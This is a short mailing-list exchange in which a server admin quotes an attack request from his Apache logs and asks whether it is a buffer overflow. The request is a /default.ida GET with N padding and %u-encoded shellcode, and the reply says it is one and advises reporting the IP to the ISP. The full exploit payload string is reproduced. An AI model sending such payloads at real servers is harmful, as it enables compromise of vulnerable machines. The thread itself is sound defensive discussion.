[ILUG-BOM] Web server buffer overflows

[S. Krishnan]

--- Philip S Tellis <philip.tellis at iname.com> wrote:
> Somebody's trying to request this: (adjusted to fit
> the page)
> 
> GET
>
/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
>
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
>
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
>
NNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9
>
090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u00
> 78%u0000%u00=a
> 
> from my web server (Apache 1.3.17)
> 
> Does it look like a standard buffer overflow
> exploit?  Doesn't seem to
> have caused any harm yet, but this has been tried
> over and over again.
> 

Sure looks like one.  Log the IP and complain to the
ISP as well as to CAUCE.

Rgds,

Krishnan


__________________________________________________
Do You Yahoo!?
Get personalized email addresses from Yahoo! Mail
http://personal.mail.yahoo.com/